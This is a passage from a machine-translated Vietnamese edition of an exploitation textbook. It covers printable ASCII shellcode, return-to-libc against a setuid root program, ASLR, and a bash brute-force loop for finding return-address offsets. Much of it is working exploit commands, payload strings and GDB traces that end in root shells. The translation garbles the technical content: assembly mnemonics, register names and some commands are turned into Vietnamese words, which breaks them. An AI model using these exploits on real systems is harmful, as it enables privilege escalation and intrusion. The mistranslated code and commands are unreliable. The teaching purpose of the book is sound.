Chuỗi này sẽ được biên dịch thành chuỗi ASCII có thể in được, đồng thời cũng có chức năng như mã
máy có thể thực thi.
reader@hacking:~/booksrc $ nasm printable.s
người đọc@hacking:~/booksrc $ echo $(cat ./printable)
TX-3399-Gừ-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw-B2H2PPPPPPPPPPPPPPPPPPPPPP
người đọc@hacking:~/booksrc $
Mã lệnh ASCII có thể in này hiện có thể được sử dụng để buôn lậu thực tế
shellcode vượt qua quy trình xác thực đầu vào của chương trình update_info.
người đọc@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable)
[DEBUG]: đối số desc ở 0xbffff910
Lỗi phân đoạn
người đọc@hacking:~/booksrc $ ./update_info $(perl -e 'print "\x10\xf9\xff\xbf"x10') $(cat ./
có thể in được)
[DEBUG]: đối số desc ở 0xbffff910
Đang cập nhật sản phẩm ########### với mô tả 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzPiii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrxaFOwP-pApA-Nw--B2H2PPPPPPPPPPPPPPPPPPPPPP'
sh-3.2# ai đó
gốc rễ
sh-3.2#
Gọn gàng. Trong trường hợp bạn không thể theo dõi mọi thứ vừa xảy ra ở đó, đầu ra bên dưới sẽ theo
dõi quá trình thực thi shellcode có thể in được trong GDB. Địa chỉ ngăn xếp sẽ hơi khác một chút, thay
đổi địa chỉ trả về, nhưng điều này sẽ không ảnh hưởng đến shellcode có thể in được—nó tính toán vị trí
của nó dựa trên ESP, mang lại cho nó tính linh hoạt này.
người đọc@hacking:~/booksrc $ gdb -q ./update_info
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass update_product_description Đổ
mã trình biên dịch cho hàm update_product_description:
0x080484a8 <mô tả sản phẩm cập nhật+0>:
đẩy ebp
0x080484a9 <mô tả sản phẩm cập nhật+1>:
di chuyển
0x080484ab <mô tả sản phẩm cập nhật+3>:
phụ
ebp, đặc biệt
đặc biệt, 0x28
0x080484ae <mô tả sản phẩm cập nhật+6>:
di chuyển
eax,DWORD PTR [ebp+8]
0x080484b1 <mô tả sản phẩm cập nhật+9>:
di chuyển
DWORD PTR [esp+4],eax
Biện pháp đối phó 373
Machine Translated by Google
0x080484b5 <cập_nhật_sản_phẩm+13>: 0x080484b8
lá
eax,[ebp-24]
<cập_nhật_sản_phẩm+16>: 0x080484bb <cập_nhật_sản_phẩm+19>:
di chuyển
0x080484c0 <cập_nhật_sản_phẩm+24>: 0x080484c3
gọi 0x8048388 <strcpy@plt>
<cập_nhật_sản_phẩm+27>: 0x080484c7 <cập_nhật_sản_phẩm+31>:
di chuyển
eax,DWORD PTR [ebp+12]
0x080484ca <cập_nhật_sản_phẩm+34>: 0x080484ce
di chuyển
DWORD PTR [esp+8],eax
<cập_nhật_sản_phẩm+38>: 0x080484d5 <cập_nhật_sản_phẩm+45>:
lá
DWORD PTR [esp],eax
eax,[ebp-24]
0x080484da <cập_nhật_sản_phẩm+50>: 0x080484db
di chuyển
DWORD PTR [esp+4],eax
<update_product_description+51>: Kết thúc quá trình
di chuyển
DWORD PTR [esp],0x80487a0
dump trình biên dịch.
gọi 0x8048398 <printf@plt>
rời
khỏi ret
(gdb) ngắt *0x080484db
Điểm dừng 1 tại 0x80484db: tệp update_info.c, dòng 21.
(gdb) chạy $(perl -e 'print "AAAA"x10') $(cat ./printable)
Bắt đầu chương trình: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./
có thể in được)
[DEBUG]: đối số desc ở 0xbffff8fd
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0xb7f06bfb trong strlen () từ /lib/tls/i686/cmov/libc.so.6
(gdb) chạy $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable)
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Bắt đầu chương trình: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable)
[DEBUG]: đối số desc ở 0xbffff8fd
Đang cập nhật số sản phẩm với mô tả 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%PXXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw--B2H2PPPPPPPPPPPPPPPPPPPPPP'
Điểm dừng 1, 0x080484db trong update_product_description (
id=0x72727550 <Địa chỉ 0x72727550 nằm ngoài giới hạn>,
desc=0x5454212d <Địa chỉ 0x5454212d nằm ngoài giới hạn>) tại update_info.c:21
21
}
(gdb) bước
0xbffff8fd trong ?? ()
(gdb) x/9i $eip
0xbffff8fd: đẩy esp
0xbffff8fe: bật phụ phụ
eax
0xbffff8ff:
eax,0x39393333
0xbffff904:
eax,0x72727550
0xbffff909:
phụ eax,0x54545421
0xbffff90e:
đẩy eax
0xbffff90f:
0xbffff910:
bật
và
0xbffff915:
Và
đặc biệt
eax,0x454e4f4a
eax,0x3a313035
(gdb) ir esp
đặc
0xbffff6d0
biệt (gdb) p /x $esp + 860
$1 = 0xbffffa2c
(gdb) bước 9
0xbffff91a trong ?? ()
(gdb) ir esp eax
374 0x600
0xbffff6d0
Machine Translated by Google
đặc
0xbffffa2c
biệt là eax
0x0
0xbffffa2c
0
(gdb)
Chín lệnh đầu tiên cộng 860 vào ESP và xóa thanh ghi EAX.
Tám lệnh tiếp theo đẩy tám byte cuối cùng của shellcode vào ngăn xếp theo từng khối bốn byte. Quá trình
này được lặp lại trong 32 lệnh tiếp theo để xây dựng toàn bộ shellcode trên ngăn xếp.
(gdb) x/8i $eip
0xbffff91a:
phụ
eax,0x346d6d25
0xbffff91f:
phụ
eax,0x256d6d25
0xbffff924:
phụ
eax,0x2557442d
0xbffff929:
0xbffff92a:
đẩy eax
phụ eax,0x59316659
0xbffff92f:
phụ eax,0x59667766
0xbffff934:
phụ eax,0x7a537a79
0xbffff939:
đẩy eax
(gdb) bước 8
0xbffff93a trong ?? ()
(gdb) x/4x $esp
0xbffffa24:
0x80cde189
0x00000000
0x00000000
0xbffffa04: 0x90909090
0x31c03190
0x99c931db
0x80cda4b0
0xbffffa14: 0x51580b6a
0x732f2f68
0x622f6868
0xe3896e69
0xbffffa24: 0x53e28951
0x80cde189
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x53e28951
(gdb) bước 32
0xbffff9ba trong ?? ()
(gdb) x/5i $eip
0xbffff9ba: đẩy eax
0xbffff9bb: đẩy eax
0xbffff9bc: đẩy eax
0xbffff9bd: đẩy eax
0xbffff9be: đẩy eax
(gdb) x/16x $esp
0xbffffa34:
0x00000000
(gdb) ir eip esp eax
eip 0xbffff9ba 0xbffffa04 đặc biệt
0xbffff9ba
0xbffffa04
eax
0x90909090
-1869574000
(gdb)
Bây giờ, với shellcode được xây dựng hoàn chỉnh trên ngăn xếp, EAX được đặt thành 0x90909090. Mã
này được đẩy vào ngăn xếp nhiều lần để xây dựng một NOP sled nhằm thu hẹp khoảng cách giữa phần cuối
của mã nạp và shellcode mới được xây dựng.
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050
0x50505050
0x50505050
0x50505050
0xbffff9ca:
0x50505050
0x00000050
0x00000000
0x00000000
0xbffff9da:
0x00000000
0x00000000
0x00000000
0x00000000
0xbffff9ea:
0x00000000
0x00000000
0x00000000
0x00000000
0xbffff9fa:
0x00000000
0x00000000
0x90900000
0x31909090
0xbffffa0a:
0x31db31c0
0xa4b099c9
0x0b6a80cd
0x2f685158
Biện pháp đối phó 375
Machine Translated by Google
(gdb) bước 10
0xbffff9c4 trong ?? ()
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050
0x50505050
0x50505050
0x50505050
0xbffff9ca: 0x50505050
0x00000050
0x00000000
0x00000000
0xbffff9da:
0x90900000
0x90909090
0x90909090
0x90909090
0xbffff9ea:
0x90909090
0x90909090
0x90909090
0x90909090
0xbffff9fa:
0x90909090
0x90909090
0x90909090
0x31909090
0xbffffa0a:
0x31db31c0
0xa4b099c9
0x0b6a80cd
0x2f685158
(gdb) bước 5
0xbffff9c9 trong ?? ()
(gdb) x/24x 0xbffff9ba
0x50505050
0x50505050
0x90905050
0xbffff9ca:
0x90909090
0x90909090
0x90909090
0x90909090
0xbffff9da:
0x90909090
0x90909090
0x90909090
0x90909090
0xbffff9ea:
0x90909090
0x90909090
0x90909090
0x90909090
0xbffff9fa:
0x90909090
0x90909090
0x90909090
0x31909090
0xbffffa0a:
0x31db31c0
0xa4b099c9
0x0b6a80cd
0x2f685158
0xbffff9ba: 0x50505050
(gdb)
Bây giờ con trỏ thực thi (EIP) có thể chạy qua cầu NOP vào shellcode đã xây dựng.
Shellcode có thể in là một kỹ thuật có thể mở ra một số cánh cửa. Nó và tất cả các
kỹ thuật khác mà chúng ta đã thảo luận chỉ là những khối xây dựng có thể được sử dụng
trong vô số các kết hợp khác nhau. Ứng dụng của chúng đòi hỏi một số sự khéo léo từ phía
bạn. Hãy thông minh và đánh bại chúng trong trò chơi của chính chúng.
0x6a0 Biện pháp đối phó cứng rắn
Các kỹ thuật khai thác được trình bày trong chương này đã có từ lâu. Chỉ là vấn đề thời
gian để các lập trình viên đưa ra một số phương pháp bảo vệ thông minh. Một khai thác có
thể được khái quát thành một quy trình ba bước: Đầu tiên, một số loại hỏng bộ nhớ; sau
đó, thay đổi luồng điều khiển; và cuối cùng, thực thi shellcode.
0x6b0 Ngăn xếp không thể thực thi
Hầu hết các ứng dụng không bao giờ cần thực thi bất cứ điều gì trên ngăn xếp, do đó, biện
pháp phòng thủ rõ ràng chống lại lỗ hổng tràn bộ đệm là làm cho ngăn xếp không thể thực thi.
Khi thực hiện xong, shellcode được chèn vào bất kỳ đâu trên ngăn xếp về cơ bản đều vô dụng.
Kiểu phòng thủ này sẽ ngăn chặn phần lớn các khai thác ngoài kia và nó đang trở nên phổ
biến hơn. Phiên bản mới nhất của OpenBSD có một ngăn xếp không thể thực thi theo mặc định
và một ngăn xếp không thể thực thi có sẵn trong Linux thông qua PaX, một bản vá kernel.
0x6b1 ret2libc
Tất nhiên, có một kỹ thuật được sử dụng để bỏ qua biện pháp đối phó bảo vệ này. Kỹ thuật
này được gọi là quay lại libc. libc là một thư viện C chuẩn chứa nhiều hàm cơ bản khác
nhau, chẳng hạn như printf() và exit(). Những
376 0x600
Machine Translated by Google
các hàm được chia sẻ, do đó bất kỳ chương trình nào sử dụng hàm printf() đều hướng thực thi
vào vị trí thích hợp trong libc. Một khai thác có thể làm điều tương tự và hướng thực thi
chương trình vào một hàm nhất định trong libc.
Chức năng của một khai thác như vậy bị giới hạn bởi các hàm trong libc, đây là một hạn chế
đáng kể khi so sánh với shellcode tùy ý. Tuy nhiên, không có gì được thực thi trên ngăn xếp.
0x6b2 Quay lại hệ thống()
Một trong những hàm libc đơn giản nhất để trả về là system(). Như bạn nhớ lại, hàm này lấy
một đối số duy nhất và thực thi đối số đó bằng /bin/sh.
Hàm này chỉ cần một đối số duy nhất nên rất hữu ích.
Trong ví dụ này, một chương trình dễ bị tấn công đơn giản sẽ được sử dụng.
lỗ hổng.c
int main(int argc, char *argv[]) {
char buffer[5];
strcpy(buffer, argv[1]); trả
về 0;
}
Tất nhiên, chương trình này phải được biên dịch và setuid root trước khi nó thực sự được thực hiện.
dễ bị tổn thương.
reader@hacking:~/booksrc $ gcc -o vuln vuln.c
người đọc@hacking:~/booksrc $ sudo chown root ./vuln
người đọc@hacking:~/booksrc $ sudo chmod u+s ./vuln
người đọc@hacking:~/booksrc $ ls -l ./vuln
-rwsr-xr-x 1 gốc đọc 6600 2007-09-30 22:43 ./vuln
người đọc@hacking:~/booksrc $
Ý tưởng chung là buộc chương trình dễ bị tấn công tạo ra một shell, mà không thực thi
bất kỳ thứ gì trên ngăn xếp, bằng cách quay lại hàm system() của libc. Nếu hàm này được cung
cấp với đối số là /bin/sh, thì nó sẽ tạo ra một shell.
Đầu tiên, vị trí của hàm system() trong libc phải được xác định.
Điều này sẽ khác nhau đối với mỗi hệ thống, nhưng một khi vị trí được biết đến, nó sẽ vẫn giữ nguyên cho
đến khi libc được biên dịch lại. Một trong những cách dễ nhất để tìm vị trí của một hàm libc là tạo một
chương trình giả đơn giản và gỡ lỗi nó, như thế này:
reader@hacking:~/booksrc $ cat > dummy.c int
main()
{ system(); }
reader@hacking:~/booksrc $ gcc -o dummy dummy.c
reader@hacking:~/booksrc $ gdb -q ./dummy Sử
dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Biện pháp đối phó 377
Machine Translated by Google
(gdb) ngắt chính
Điểm dừng 1 tại 0x804837a
(gdb) chạy
Chương trình bắt đầu: /home/matrix/booksrc/dummy
Điểm dừng 1, 0x0804837a trong main ()
(gdb) in hệ thống $1
= {<biến văn bản, không có thông tin gỡ lỗi>} 0xb7ed0d80 <hệ
thống> (gdb) thoát
Ở đây, một chương trình giả định được tạo ra sử dụng hàm system() .
Sau khi biên dịch, tệp nhị phân được mở trong trình gỡ lỗi và điểm dừng được đặt ở đầu. Chương trình
được thực thi và sau đó vị trí của hàm system() được hiển thị. Trong trường hợp này, hàm system() nằm
ở 0xb7ed0d80.
Được trang bị kiến thức đó, chúng ta có thể hướng chương trình thực thi vào
hàm system() của libc. Tuy nhiên, mục tiêu ở đây là khiến chương trình dễ bị tấn
công thực thi system("/bin/sh") để cung cấp shell, do đó phải cung cấp một đối
số. Khi trở về libc, địa chỉ trả về và đối số hàm được đọc ra khỏi ngăn xếp theo
định dạng quen thuộc: địa chỉ trả về theo sau là các đối số. Trên ngăn xếp, lệnh
gọi return-into-libc sẽ trông giống như thế này:
Địa chỉ hàm Địa chỉ trả về
Lập luận 1
Lập luận 2
Lập luận 3 ...
Ngay sau địa chỉ của hàm libc mong muốn là địa chỉ mà lệnh thực thi sẽ trả về
sau lệnh gọi libc. Sau đó, tất cả các đối số hàm sẽ theo trình tự.
Trong trường hợp này, thực sự không quan trọng việc thực thi trở về đâu sau
lệnh gọi libc, vì nó sẽ mở một shell tương tác. Do đó, bốn byte này chỉ có thể là
giá trị giữ chỗ của FAKE. Chỉ có một đối số, đó phải là con trỏ đến chuỗi /bin/sh.
Chuỗi này có thể được lưu trữ ở bất kỳ đâu trong bộ nhớ; biến môi trường là một
ứng cử viên tuyệt vời.
Trong đầu ra bên dưới, chuỗi được thêm tiền tố bằng một số khoảng trắng. Điều này sẽ
hoạt động tương tự như một NOP sled, cung cấp cho chúng ta một số khoảng trống, vì
system(" /bin/sh") giống với system(" /bin/sh").
reader@hacking:~/booksrc $ export BINSH=" /bin/sh" reader@hacking:~/
booksrc $ ./getenvaddr BINSH ./vuln
BINSH sẽ ở 0xbffffe5b
người đọc@hacking:~/booksrc $
Vì vậy, địa chỉ system() là 0xb7ed0d80 và địa chỉ cho /bin/sh
chuỗi sẽ là 0xbffffe5b khi chương trình được thực thi. Điều đó có nghĩa là địa chỉ
trả về trên ngăn xếp phải được ghi đè bằng một chuỗi địa chỉ, bắt đầu bằng 0xb7ecfd80,
theo sau là FAKE (vì không quan trọng nơi thực thi sau lệnh gọi system() ), và kết
thúc bằng 0xbffffe5b.
378 0x600
Machine Translated by Google
Một tìm kiếm nhị phân nhanh cho thấy địa chỉ trả về có thể bị ghi đè bởi từ thứ tám của đầu vào
chương trình, do đó bảy từ dữ liệu giả được sử dụng để tạo khoảng cách trong khai thác.
reader@hacking:~/booksrc $ ./vuln $(perl -e 'in "ABCD"x5') reader@hacking:~/
booksrc $ ./vuln $(perl -e 'in "ABCD"x10')
Lỗi phân đoạn
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x8')
Lỗi phân đoạn
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7')
Hướng dẫn bất hợp pháp
reader@hacking:~/booksrc $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\x0d\xed\xb7FAKE\x5b\xfe\
xff\xbf"')
sh-3.2# ai đó
gốc rễ
sh-3.2#
Có thể mở rộng khai thác bằng cách thực hiện các lệnh gọi libc theo chuỗi, nếu cần. Địa chỉ
trả về của FAKE được sử dụng trong ví dụ có thể được thay đổi để thực thi chương trình trực tiếp. Có
thể thực hiện các lệnh gọi libc bổ sung hoặc thực thi có thể được chuyển hướng đến một số phần hữu
ích khác trong chương trình hiện có
hướng dẫn.
0x6c0 Không gian ngăn xếp ngẫu nhiên
Một biện pháp đối phó bảo vệ khác thử một cách tiếp cận hơi khác. Thay vì ngăn chặn việc thực thi trên
ngăn xếp, biện pháp đối phó này sẽ ngẫu nhiên hóa bố cục bộ nhớ ngăn xếp. Khi bố cục bộ nhớ được ngẫu
nhiên hóa, kẻ tấn công sẽ không thể trả lại việc thực thi vào shellcode đang chờ, vì hắn sẽ không biết
nó ở đâu.
Biện pháp đối phó này đã được bật theo mặc định trong nhân Linux kể từ phiên bản 2.6.12, nhưng
LiveCD của cuốn sách này đã được cấu hình với tính năng này bị tắt.
Để bật lại tính năng bảo vệ này, hãy nhập lệnh echo 1 vào hệ thống tệp /proc như hiển thị bên dưới.
người đọc@hacking:~/booksrc $ sudo su root@hacking:~ # echo 1 > /proc/sys/kernel/randomize_va_space root@hacking:~
# thoát
đăng xuất
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out [DEBUG]
tìm thấy một ghi chú 34 byte cho ID người dùng 999
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
-------[ kết thúc dữ liệu ghi chú ]----người đọc@hacking:~/booksrc $
Khi biện pháp đối phó này được bật, khai thác notesearch không còn hoạt động nữa, vì bố cục của
ngăn xếp được ngẫu nhiên hóa. Mỗi khi một chương trình bắt đầu, ngăn xếp bắt đầu ở một vị trí ngẫu
nhiên. Ví dụ sau đây chứng minh điều này.
Biện pháp đối phó 379
Machine Translated by Google
aslr_demo.c
#include <stdio.h>
int main(int argc, char *argv[]) {
bộ đệm char[50];
printf("bộ đệm ở %p\n", &bộ đệm);
nếu(argc > 1)
strcpy(bộ đệm, argv[1]);
trả về 1;
}
Chương trình này có lỗ hổng tràn bộ đệm rõ ràng. Tuy nhiên,
khi bật ASLR, việc khai thác không còn dễ dàng nữa.
reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ ./aslr_demo bộ
đệm ở 0xbffbbf90
reader@hacking:~/booksrc $ ./aslr_demo bộ
đệm ở 0xbfe4de20
reader@hacking:~/booksrc $ ./aslr_demo bộ
đệm ở 0xbfc7ac50
người đọc@hacking:~/booksrc $ ./aslr_demo $(perl -e 'in "ABCD"x20')
bộ đệm ở 0xbf9a4920
Lỗi phân đoạn
người đọc@hacking:~/booksrc $
Lưu ý vị trí của bộ đệm trên ngăn xếp thay đổi theo mỗi lần chạy. Chúng ta vẫn có thể inject
shellcode và làm hỏng bộ nhớ để ghi đè địa chỉ trả về, nhưng chúng ta không biết shellcode nằm ở đâu
trong bộ nhớ. Việc ngẫu nhiên hóa thay đổi vị trí của mọi thứ trên ngăn xếp, bao gồm cả các biến môi
trường.
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./aslr_demo
SHELLCODE sẽ ở 0xbfd919c3
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./aslr_demo
SHELLCODE sẽ ở 0xbfe499c3
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./aslr_demo
SHELLCODE sẽ ở 0xbfcae9c3
người đọc@hacking:~/booksrc $
Loại bảo vệ này có thể rất hiệu quả trong việc ngăn chặn các cuộc khai thác của kẻ
tấn công trung bình, nhưng không phải lúc nào cũng đủ để ngăn chặn một tin tặc quyết tâm.
Bạn có thể nghĩ ra cách khai thác thành công chương trình này trong những điều kiện này không?
0x6c1 Điều tra với BASH và GDB
Vì ASLR không ngăn chặn được tình trạng hỏng bộ nhớ, chúng ta vẫn có thể sử dụng một tập
lệnh BASH tấn công bằng cách thử từng bước để tìm ra độ lệch tới địa chỉ trả về từ
380 0x600
Machine Translated by Google
bắt đầu của bộ đệm. Khi một chương trình thoát, giá trị trả về từ hàm chính là trạng
thái thoát. Trạng thái này được lưu trữ trong biến BASH $?, có thể được sử dụng để phát
hiện xem chương trình có bị sập không.
reader@hacking:~/booksrc $ ./aslr_demo bộ đệm kiểm tra ở
0xbfb80320 reader@hacking:~/
booksrc $ echo $?
1
reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "AAAA"x50') bộ đệm ở 0xbfbe2ac0 Lỗi phân
đoạn reader@hacking:~/booksrc $
echo $? 139 reader@hacking:~/
booksrc $
Sử dụng logic câu lệnh if của BASH , chúng ta có thể dừng tập lệnh brute-force
khi nó làm hỏng mục tiêu. Khối câu lệnh if được chứa giữa các từ khóa then và fi;
khoảng trắng trong câu lệnh if là bắt buộc. Câu lệnh break yêu cầu tập lệnh thoát
khỏi vòng lặp for .
reader@hacking:~/booksrc $ for i in $(seq 1 50) > do > echo "Đang thử
độ
lệch của $i từ" > ./aslr_demo $(perl -e "print
'AAAA'x$i") > if [ $? != 1 ] > then > echo "==> Độ lệch chính
xác để trả về địa chỉ
là $i
từ" > break > fi > done Đang thử độ lệch của bộ đệm 1 từ tại 0xbfc093b0 Đang thử độ
lệch của
bộ
đệm 2 từ
tại 0xbfd01ca0 Đang thử độ lệch của
bộ đệm 3 từ tại 0xbfe45de0 Đang
thử độ lệch của bộ đệm 4 từ tại
0xbfdcd560 Đang thử độ lệch của
bộ đệm 5 từ tại 0xbfbf5380 Đang thử
độ lệch của bộ đệm 6 từ tại
0xbffce760 Đang thử độ lệch của bộ
đệm 7 từ tại 0xbfaf7a80 Đang thử
độ lệch của bộ đệm 8 từ tại
0xbfa4e9d0 Đang thử độ lệch của
bộ đệm 9 từ tại 0xbfacca50 Đang thử
độ lệch của bộ đệm 10 từ tại
0xbfd08c80 Đang thử độ lệch của bộ
đệm 11 từ tại 0xbff24ea0 Đang thử
độ lệch của Bộ đệm 12 từ ở 0xbfaf9a70
Biện pháp đối phó 381
Machine Translated by Google
Thử bù trừ 13 từ
bộ đệm ở 0xbfe0fd80
Thử bù trừ 14 từ
bộ đệm ở 0xbfe03d70
Thử bù trừ 15 từ
bộ đệm ở 0xbfc2fb90
Thử bù trừ 16 từ
bộ đệm ở 0xbff32a40
Thử bù trừ 17 từ
bộ đệm ở 0xbf9da940
Thử bù trừ 18 từ
bộ đệm ở 0xbfd0cc70
Thử bù trừ 19 từ
bộ đệm ở 0xbf897ff0
Hướng dẫn bất hợp pháp
==> Độ lệch đúng đến địa chỉ trả về là 19 từ
người đọc@hacking:~/booksrc $
Biết độ lệch thích hợp sẽ cho phép chúng ta ghi đè địa chỉ trả về.
Tuy nhiên, chúng ta vẫn không thể thực thi shellcode vì vị trí của nó được chọn ngẫu nhiên.
Sử dụng GDB, chúng ta hãy xem chương trình ngay khi nó chuẩn bị trả về từ hàm chính.
người đọc@hacking:~/booksrc $ gdb -q ./aslr_demo
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) giải tán chính
Bản sao mã trình biên dịch cho hàm main:
0x080483b4 <main+0>: đẩy ebp
0x080483b5 <main+1>: ebp,esp
di chuyển
phụ
0x080483b7 <main+3>: esp,0x58
Và
0x080483ba <main+6>: esp,0xfffffff0
0x080483bd <chính+9>: eax,0x0
di chuyển
0x080483c2 <main+14>: sub esp,eax
0x080483c4 <main+16>: lea
eax,[ebp-72]
0x080483c7 <main+19>: mov
DWORD PTR [esp+4],eax
0x080483cb <main+23>: mov
DWORD PTR [esp],0x80484d4
0x080483d2 <main+30>: gọi 0x80482d4 <printf@plt>
0x080483d7 <main+35>: cmp
DWORD PTR [ebp+8],0x1
0x080483db <main+39>: jle 0x80483f4 <main+64>
0x080483dd <main+41>: mov eax, DWORD PTR [ebp+12]
0x080483e0 <main+44>: thêm eax,0x4
0x080483e3 <main+47>: mov eax, DWORD PTR [eax]
0x080483e5 <main+49>: mov DWORD PTR [esp+4],eax
0x080483e9 <main+53>: lea eax,[ebp-72]
0x080483ec <main+56>: mov
DWORD PTR [esp],eax
0x080483ef <main+59>: gọi 0x80482c4 <strcpy@plt>
0x080483f4 <main+64>: mov
eax,0x1
0x080483f9 <main+69>: leave
0x080483fa <main+70>: ret Kết thúc
quá trình dump trình biên dịch.
(gdb) ngắt *0x080483fa
Điểm dừng 1 tại 0x80483fa: tệp aslr_demo.c, dòng 12.
(gdb)
382 0x600
Machine Translated by Google
Điểm dừng được đặt ở lệnh cuối cùng của main. Lệnh này trả về EIP đến địa chỉ trả về được lưu trữ
trên ngăn xếp. Khi một khai thác ghi đè lên địa chỉ trả về, đây là lệnh cuối cùng mà chương trình gốc có
quyền kiểm soát. Chúng ta hãy xem xét các thanh ghi tại thời điểm này trong mã cho một vài lần chạy thử
khác nhau.
(gdb) chạy
Chương trình bắt đầu: bộ đệm /home/reader/booksrc/aslr_demo ở
0xbfa131a0
Điểm dừng 1, 0x080483fa trong main (argc=134513588, argv=0x1) tại aslr_demo.c:12
12
}
(gdb) sổ đăng ký thông tin
1
eax
0x1
ecx
0x0 0
edx
0xb7f000b0
ebx
0xb7efeff4
-1209012236
đặc
0xbfa131ec
0xbfa131ec
biệt
0xbfa13248
0xbfa13248
là
0xb7f29ce0
ebp esi edi
0x0
eip
0x80483fa
cờ
cs
0x200246 [ PF ZF IF ID ]
0x73
115
ss
0x7b
123
ds
0x7b
123
là
0x7b
123
fs
0x0
0
gs
0x33
51
-1209007952
-1208836896
0
0x80483fa <chính+70>
(gdb) chạy
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Chương trình bắt đầu: bộ đệm /home/reader/booksrc/aslr_demo ở
0xbfd8e520
Điểm dừng 1, 0x080483fa trong main (argc=134513588, argv=0x1) tại aslr_demo.c:12
12
}
(gdb) ir đặc biệt
0xbfd8e56c
đặc biệt
0xbfd8e56c
(gdb) chạy
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Chương trình bắt đầu: bộ đệm /home/reader/booksrc/aslr_demo ở
0xbfaada40
Điểm dừng 1, 0x080483fa trong main (argc=134513588, argv=0x1) tại aslr_demo.c:12
12
}
(gdb) ir đặc biệt
đặc biệt
0xbfaada8c
0xbfaada8c
(gdb)
Biện pháp đối phó 383
Machine Translated by Google
Mặc dù có sự ngẫu nhiên giữa các lần chạy, hãy chú ý đến địa chỉ trong ESP giống với địa chỉ của
bộ đệm (được in đậm). Điều này có lý, vì con trỏ ngăn xếp trỏ đến ngăn xếp và bộ đệm nằm trên ngăn xếp.
Giá trị của ESP và địa chỉ của bộ đệm được thay đổi theo cùng một giá trị ngẫu nhiên, vì chúng có liên
quan đến nhau.
Lệnh stepi của GDB đưa chương trình tiến lên trong quá trình thực thi bằng một lệnh duy nhất. Sử
dụng lệnh này, chúng ta có thể kiểm tra giá trị của ESP sau khi lệnh ret đã thực thi.
(gdb) chạy
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Chương trình bắt đầu: bộ đệm /home/reader/booksrc/aslr_demo ở
0xbfd1ccb0
Điểm dừng 1, 0x080483fa trong main (argc=134513588, argv=0x1) tại aslr_demo.c:12
12
}
(gdb) ir đặc biệt
esp
0xbfd1ccfc
0xbfd1ccfc
(gdb) bước
0xb7e4debc trong __libc_start_main () từ /lib/tls/i686/cmov/libc.so.6
(gdb) ir đặc biệt
đặc
0xbfd1cd00
0xbfd1cd00
biệt (gdb) x/24x 0xbfd1ccb0
0xbfd1ccb0:
0x00000000
0x080495cc
0xbfd1ccc8
0x08048291
0xbfd1ccc0:
0xb7f3d729
0xb7f74ff4
0xbfd1ccf8
0x08048429
0xbfd1ccd0:
0xb7f74ff4
0xbfd1cd8c
0xbfd1ccf8
0xb7f74ff4
0xbfd1cce0:
0xb7f937b0
0x08048410
0x00000000
0xb7f74ff4
0xbfd1ccf0:
0xb7f9fce0
0x08048410
0xbfd1cd58
0xb7e4debc
0xbfd1cd00:
0x00000001
0xbfd1cd84
0xbfd1cd8c
0xb7fa0898
(gdb) p 0xbfd1cd00 - 0xbfd1ccb0
1 = 80
(gdb) trang 80/4
2 = 20
(gdb)
Bước đơn cho thấy lệnh ret tăng giá trị của ESP lên 4. Trừ giá trị của ESP khỏi địa chỉ của bộ đệm,
chúng ta thấy ESP đang trỏ 80 byte (hoặc 20 từ) từ đầu bộ đệm. Vì độ lệch của địa chỉ trả về là 19 từ,
điều này có nghĩa là sau lệnh ret cuối cùng của main , ESP trỏ đến bộ nhớ ngăn xếp được tìm thấy ngay sau
địa chỉ trả về. Điều này sẽ hữu ích nếu có cách nào đó để kiểm soát EIP để đi đến nơi ESP đang trỏ đến.
0x6c2 Nảy ra khỏi linux-gate
Kỹ thuật được mô tả bên dưới không hoạt động với các hạt nhân Linux bắt đầu từ 2.6.18. Kỹ thuật này đã
